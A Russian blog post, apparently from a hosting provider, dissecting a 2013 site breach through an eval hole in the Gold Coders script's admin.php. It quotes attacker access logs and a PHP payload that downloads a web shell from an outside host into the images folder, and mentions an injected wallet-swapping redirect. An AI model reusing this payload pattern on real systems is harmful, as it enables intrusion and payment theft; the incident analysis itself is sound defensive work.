История одной уязвимости
[22:17:19] ***: кто-то залел и поменял файл. Было это 9 числа
[22:17:30] ***: сторонний человек сделать этого не мог
[22:19:24] ***: как этов возможно что у вас по хостингу кто-то ходит ?
Вечер переставал быть томным. Кристально ясно, что никто нигде «ходить» не может, но на лицо нарушение режима безопасности отдельно взятого домена и возможно аккаунта.
Клиент немедленно передается комманде безопасности, допрос с пристрастием приподнимает завесу тайны:
[22:23:48] ***: Как могут ходить по аккаунту ? Вы что издеваетесь ?
[22:23:58] ***: Файл был изменен не с моей стороны
[22:24:07] ***: добавлена строчка на левый редирект в файле
[22:25:32] ddos-guard: используя уязвимость в коде, или стронний шел, могут ходить и изменять данные в вашем аккаунте
[22:31:06] ***: о чем вы вобще говорите ? Файл редиректа был изменен 09.02.2013 в 13:36 и в него была добавлена левая строчка которая при определенных условиях подменивала кошелек. Это что за фигня такая
[22:37:05] ddos-guard: какой файл был изменен?
[22:37:41] ***: deposit.libertyreserve.confirm.tpl
[23:01:15] ddos-guard: расскажите, вот это что это?
https://***.**/images/vers.php
[23:03:25] ***: кстати да, это тоже что ?
Клиент искренне недоумевает как мог изменится файл, при ограничении доступа к FTP по IP. Ситуация достаточно очевидная и в этих ваших интернетах не редкая — на сайте шел. Некто каким-то образом загрузил шел-бекдор в каталог images и вставил хитроумный редирект в шаблон платежной страницы. Казалось бы, не дело хостинга разбираться в личных отношениях клиента и разработчика скрипта, клиента и его дизайнера, клиента и любых других третьих лиц.
В нашем случае как раз дело хостинга. Причина простая — взлом не менее вредоносен для клиента чем DDoS-атака, а значит защита от атак бессмысленна без 100% гарантий безопасности. Именно поэтому мы не используем сторонние панели, именно поэтому все возможности вторжения надежно исключены и проверены не один раз. К сожалению, гарантию от дыр в скриптах не даст даже Госстрах.
[23:20:32] ddos-guard: итак
[23:20:38] ***: да
[23:20:40] ddos-guard: взломщик орудовал с адреса 46.238.35.171
[23:20:45] ddos-guard: 46.238.35.171 - - [09/Feb/2013:15:10:05 +0400] "GET /fonts/vers.php HTTP/1.1" 404 376 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
[23:20:58] ddos-guard: в 15:10 он проверил не осталось ли fonts.php
[23:21:02] ddos-guard: 404 - не осталось
[23:21:09] ddos-guard: 46.238.35.171 - - [09/Feb/2013:15:14:44 +0400] "GET /index.php HTTP/1.0" 200 4275 "-" "Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0"
[23:21:12] ddos-guard: потыкался по сайту
[23:21:22] ddos-guard: 46.238.35.171 - - [09/Feb/2013:15:18:06 +0400] "POST /admin.php HTTP/1.0" 200 155 "" "Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0"
46.238.35.171 - - [09/Feb/2013:15:19:35 +0400] "POST /admin.php HTTP/1.0" 200 113733 "" "Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0"
[23:21:33] ddos-guard: сделал два POST-запроса, судя по всему к админке
[23:21:52] ddos-guard: второй запрос имел тело с размеров в точности равным images/vers.php
[23:21:58] ddos-guard: 113733 байт
[23:22:22] ddos-guard: 6.238.35.171 - - [09/Feb/2013:15:20:21 +0400] "GET /images/ HTTP/1.1" 403 372 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
46.238.35.171 - - [09/Feb/2013:15:20:25 +0400] "GET /images/123.php HTTP/1.1" 404 377 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
46.238.35.171 - - [09/Feb/2013:15:21:02 +0400] "POST /admin.php HTTP/1.0" 200 150 "" "Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0"
[23:22:45] ddos-guard: зачем-то проверил images/123.php, не нашел его, еще раз запросил admin.php
[23:23:02] ddos-guard: и следующим запросом открыл image/vers.php
[23:23:03] ddos-guard: 46.238.35.171 - - [09/Feb/2013:15:21:11 +0400] "GET /images/vers.php HTTP/1.1" 200 5070 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
На голый, чистый красивый и лицензионный Gold Coders залит шел. POST-запрос к admin.php привел к выполнению произвольного кода в контексте скрипта клиента. На этом можно было бы и закончить, но остается незакрытым вопрос что именно является триггером уязвимости. Сам admin.php конечно же зашифрован (в целях безопасности, не иначе). К счастью все ходы записаны, даже для запросов недельной давности. Смотрим тело POST-запроса к admin.php:
------------------------------5dc66f5a13d8
Content-Disposition: form-data; name=\x22bbbp\x22\x0D\x0A\x0D\x0AZWNobyAiPHByZT4iO 2VjaG8gMTExMTE7ZWNobyAiPC9wcmU+IjtleGl0Ow==
------------5dc66f5a13d8--
base64? Очень похоже.
Скрипт увидит примерно следующее:
$name = ‘“bbbp”
echo "<pre>";$a=file_get_contents("https://stern-capital.com/uploads/rtsa");
$fp = fopen ("images/vers.php", "w+");
fwrite ($fp, $a);
fclose ($fp);
echo "</pre>"’;
Ай-ай, admin.php взял да и сделал eval() на данных, полученных из сети.
Дальше всё просто, выполненный eval-ом код скачал шел с сайта взломщика, а чтобы воспользоваться шелом, хакером можно уже и не быть.
Невозможно с уверенностью сказать, почему в admin.php выполняется произвольный код — бекдор от разработчиков, недостаточная проверка входных параметров или какая-то досадная оплошность. Скрипт зашифрован и вполне вероятно, что достоверно о причинах такого поведения мы не узнаем никогда.
Какие выводы можно сделать из этого инцидента:
Для пользователей Gold Coders
Не пользуйтесь этим скриптом! Если вы всё еще хотите попробовать — не пользуйтесь этим скриптом. Из зрительного зала подсказывают - «так ведь других нет», хочется ответить по классику — лучше никакими не пользуйтесь.
Если, не смотря на всё вышеизложенное, вы всё еще очень хотите Gold Coders — закройте в .htaccess доступ к админке, оставив разрешения только для своего статического IP.
Разработчикам Gold Coders
Бекдоры — это не хорошо, ситуация как минимум требует публичного пояснения.
Портируйте уже наконец ваше творение хотя бы на php 5.3 — на улице 2013 год, скрипт исполняемый в среде php 5.2 не может быть безопасен by definition.